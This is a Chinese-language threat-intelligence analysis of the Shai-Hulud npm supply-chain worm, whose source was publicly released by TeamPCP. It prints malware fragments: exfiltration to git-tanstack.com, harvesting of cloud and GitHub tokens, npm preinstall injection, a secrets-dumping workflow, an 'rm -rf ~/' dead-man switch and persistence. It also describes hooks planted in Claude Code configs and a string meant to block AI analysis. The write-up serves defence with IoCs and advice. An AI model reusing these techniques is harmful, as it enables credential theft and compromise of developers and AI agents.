Shai-Hulud 是一种针对开源软件供应链的重大网络安全威胁,是一种具有自我传播能力的 npm 恶意蠕虫病毒,会感染开源生态系统。它被认为是 npm 近年来最大规模的供应链攻击之一,涉及数百个恶意包,SlowMist MistEye 威胁情报系统已多次预警。

昨日,一个名为 TeamPCP 的威胁组织做出了令安全界震惊的举动:他们将自己开发的凭证窃取恶意软件 Shai-Hulud 的完整源代码发布到了 GitHub 上。

这不是一次误操作,而是一场精心策划的"能力扩散"行动。

一、事件背景

1.1 什么是 Shai-Hulud?

Shai-Hulud 是一款专门针对 GitHub Actions CI/CD 环境的凭证窃取工具。其名字来源于科幻小说《沙丘》中的巨型沙虫,暗示其强大的"吞噬"能力,吞噬一切它能接触到的敏感凭证。

1.2 发生了什么?

TeamPCP 做了三件事:

开源代码:将完整源码发布到 GitHub

使用被入侵账号:通过被黑的 GitHub 账号传播

提供部署手册:附带完整使用说明

目前已有多个活跃仓库,且数量还在增长。攻击者甚至在仓库标题中直接写道:

A Gift From TeamPCP(TeamPCP 的礼物)

极具嘲讽意味。

二、技术架构深度解析

2.1 四层攻击架构

Shai-Hulud 攻击架构

具体代码实现:

1. 启动入口与主外传目标

文件:

`Shai-Hulud-Open-Source-main/package.json:11`,`Shai-Hulud-Open-Source-main/src/index.ts:96-98`

说明:确认项目默认启动即进入恶意主逻辑,并指向硬编码外传域。

    "start": "bun run ./src/index.ts"

      const dest: SenderDestination = { domain: scramble("git-tanstack.com"), port: 443, path: scramble("router"),};

      2. 本地与云端敏感面采集

      文件:

      `Shai-Hulud-Open-Source-main/src/index.ts:35-37,137-141`,`src/providers/devtool/devtool.ts:19`,`src/providers/aws/credentials.ts:199,249`,`src/providers/kubernetes/kubernetes.ts:58,138`

      说明:确认样本同时面向本地文件、GitHub CLI、AWS IMDS/IRSA、Kubernetes token 与 API secrets。

        quickResults.push(await localProvider.execute());quickResults.push(await shellProvider.execute());quickResults.push(await runnerProvider.execute());

          const token = execSync(scramble("gh auth token"), {

            const IMDS = "http://169.254.169.254";const tokenFile = process.env[scramble("AWS_WEB_IDENTITY_TOKEN_FILE")];

              "/var/run/secrets/kubernetes.io/serviceaccount/token",Authorization: `Bearer ${token}`,

              3. 加密外传封装与 POST

              文件:

              `Shai-Hulud-Open-Source-main/src/sender/base.ts:48,57`,`src/sender/domain/sender.ts:70`

              说明:确认结果会被加密后发送到远端,而非仅本地收集。

                const encryptedKey = crypto.publicEncrypt(

                  const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);

                    body: JSON.stringify(envelope),

                    4. npm 供应链植入

                    文件:

                    `Shai-Hulud-Open-Source-main/src/collector/collector.ts:39,61`,`src/mutator/npm/index.ts:68`,`src/mutator/npmoidc/index.ts:37,172-178`,`src/utils/config.ts:7`

                    说明:确认一旦捕获 token,样本会直接实施改包、注入与发布。

                      if (result.matches?.["npmtoken"]) {

                        const npmIntegration = new NpmClient(npmCheck);

                          pkg.scripts.preinstall = scramble("node setup.mjs");

                            pkg.optionalDependencies["@opensearch/setup"] = PACKAGE_NAME;const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env;`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`

                              "github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de",

                              5. GitHub Actions secrets 导出

                              文件:

                              `Shai-Hulud-Open-Source-main/src/providers/actions/workflow.ts:11`,`src/assets/workflow.yml:9,13`

                              说明:确认其通过伪装 workflow 将 secrets 序列化到 artifact 中再取回。

                                const BRANCH_NAME = scramble( "dependabot/github_actions/format/setup-formatter",);

                                  VARIABLE_STORE: ${{ toJSON(secrets) }}run: echo "$VARIABLE_STORE" > format-results.txt

                                  6. GitHub fallback 外传与本地持久化

                                  文件:

                                  `Shai-Hulud-Open-Source-main/src/sender/github/githubSender.ts:58,89,157`,`src/assets/DEADMAN_SWITCH.sh:48-49,96`

                                  说明:确认 fallback sender 会提交外传结果,并安装 token 监控持久化脚本。

                                    await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));

                                      ? `${SEARCH_STRING}:${envelope.token}`

                                        HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \\ -H "Authorization: Bearer ${GITHUB_TOKEN}" \\

                                          launchctl bootstrap "gui/$(id -u)" "${PLIST_PATH}"

                                          7. 去混淆视图确认安装期载荷

                                          文件:

                                          `Shai-Hulud-Open-Source-main/src/assets/config.mjs:171-186`(基于去混淆视图)

                                          说明:去混淆结果清楚表明 `setup.mjs` 会下载 Bun 运行时并执行 `ai_init.js`,有助于确认安装期执行链。

                                            const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;await dl(u, zp);execFileSync(bp, [ep], { stdio: "inherit", cwd: D});

                                            2.2 凭证窃取范围

                                            这是迄今为止针对开发者环境最全面的凭证收集工具之一:

                                            2.3 Token 识别能力

                                            恶意软件内置了强大的正则表达式引擎:

                                              // GitHub Personal Access Tokenghtoken: /gh[op]_[A-Za-z0-9]{36}/g// npm Tokennpmtoken: /npm_[A-Za-z0-9]{36,}/g// GitHub App JWTghs_jwt: /ghs_\\d+_[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+/g

                                              2.4 针对 Claude Code 的攻击

                                              这是本案的亮点之一。恶意软件专门针对 Claude Code 进行了优化:

                                              - 修改 Claude 配置文件:`~/.claude.json`、`~/.claude/mcp.json`

                                              - 注入执行钩子:当 Claude 启动时自动执行恶意代码

                                              - "Anthropic Magic String":使用特殊字符串阻止 Claude 分析

                                                // 发现的目标文件"~/.claude.json""~/.claude/mcp.json"".kiro/settings/mcp.json"

                                                为什么针对 Claude Code?因为 Claude Code 常常运行在拥有高权限 GitHub Token 的开发者机器上。

                                                三、开发者画像

                                                3.1 代码质量评估

                                                结论:这是一个专业级恶意软件,开发者具备企业级软件开发能力。

                                                3.2 开发者地域分析

                                                代码中有一处非常有趣的逻辑:

                                                  // src/utils/config.tsexport function isSystemRussian(): boolean { const locale = Intl.DateTimeFormat().resolvedOptions().locale; if (locale.startsWith("ru")) return true; // 排除俄语系统 // ...}

                                                  排除俄语系统的可能原因:

                                                  SlowMist Agent 思考:特意排除俄语系统,最合理的解释是开发者本身与俄语地区有密切联系。

                                                  3.3 C2 服务器分析

                                                  C2 域名:git-tanstack.com

                                                  模仿合法域名:tanstack.com

                                                  路径: /router

                                                  这是典型的域名仿冒攻击手法,目的是让恶意流量看起来像合法的 TanStack 项目。

                                                  四、追踪分析:TeamPCP

                                                  4.1 行动痕迹

                                                  我们发现以下有趣的线索:

                                                  4.2 关联账号

                                                  三个可疑账号被发现与 Shai-Hulud 代码相关:

                                                  猫是 TeamPCP 的标志 —— agwagwagwa 的 "meow!" 仓库让安全研究员确信这不是巧合。

                                                  4.3 "Anthropic Magic String"

                                                  恶意软件中包含一段特殊字符串,专门用来阻止 Claude Code 分析:

                                                    // 发现于多个配置文件中// 包含这段字符串的账号资料不会被 Claude 分析

                                                    这进一步证实了攻击者对 AI 安全工具的了解。

                                                    五、开源的影响:潘多拉魔盒已打开

                                                    5.1 从"专属武器"到"公共服务"

                                                    TeamPCP 的这次开源,意味着:

                                                    从前:只有 TeamPCP 能发动 Shai-Hulud 攻击

                                                    现在:任何人都可以部署自己的 Shai-Hulud 变种

                                                    5.2 copycat 已经开始行动

                                                    我们的情报显示,fork 者已经开始修改代码并扩大攻击范围:

                                                    - agwagwagwa 已提交 PR 添加 FreeBSD 支持

                                                    - 更多仓库正在出现

                                                    - 可以通过 GitHub 搜索 "A Gift From TeamPCP" 追踪

                                                    5.3 威胁等级升级

                                                    六、IoC 指标汇总

                                                    类型

                                                    IOC

                                                    C2 域名

                                                    git-tanstack.com

                                                    C2 路径

                                                    /router

                                                    脚本名

                                                    opensearch_init.js、ai_init.js

                                                    包名

                                                    voicefromtheouterworld

                                                    GitHub 搜索

                                                    "A Gift From TeamPCP"

                                                    可疑账号

                                                    agwagwagwa、headdirt、tmechen

                                                    七、防护建议

                                                    7.1 对开发者

                                                    建议

                                                    操作

                                                    检查 SSH 私钥

                                                    确认 ~/.ssh/id_* 没有被泄露

                                                    轮换 GitHub Token

                                                    立即更换所有 GitHub PAT

                                                    审查 GitHub Actions

                                                    检查是否有可疑的 workflow

                                                    审计 CI 环境

                                                    查看是否有陌生 secrets

                                                    检查 Claude 配置

                                                    查看 ~/.claude.json 是否被篡改

                                                    7.2 对企业

                                                    7.3 快速检查清单

                                                      # 检查 GitHub Actions 中是否有可疑 workflowcat ~/.git-credentials

                                                      # 检查 SSH 私钥访问记录ls -la ~/.ssh/

                                                      # 检查 Claude 配置cat ~/.claude.jsoncat ~/.claude/mcp.json

                                                      # 检查 AWS 凭证cat ~/.aws/credentials

                                                      八、总结

                                                      Shai-Hulud 开源事件是 2026 年最重要的网络安全事件之一:

                                                      要点

                                                      说明

                                                      性质

                                                      专业级凭证窃取工具,针对 CI/CD 环境

                                                      开发者

                                                      具备高水平能力,使用多个伪装身份,可能与俄语地区有关

                                                      影响

                                                      从"专属武器"变成"公共服务",任何人可部署

                                                      时间

                                                      2025-2026 年开发,极新威胁

                                                      追踪

                                                      TeamPCP 组织,猫主题,多个关联账号

                                                      核心警示:开源恶意软件 = 潘多拉魔盒已打开;从小团伙到群狼的时代来了,攻击者已经在行动,你准备好了吗?

                                                      本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写,有任何问题欢迎咨询反馈。

                                                      参考资料

                                                      [1] https://github.com/search?q=A+Gift+From+TeamPCP&type=repositories&s=updated&o=desc

                                                      声明:本文来自慢雾科技,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。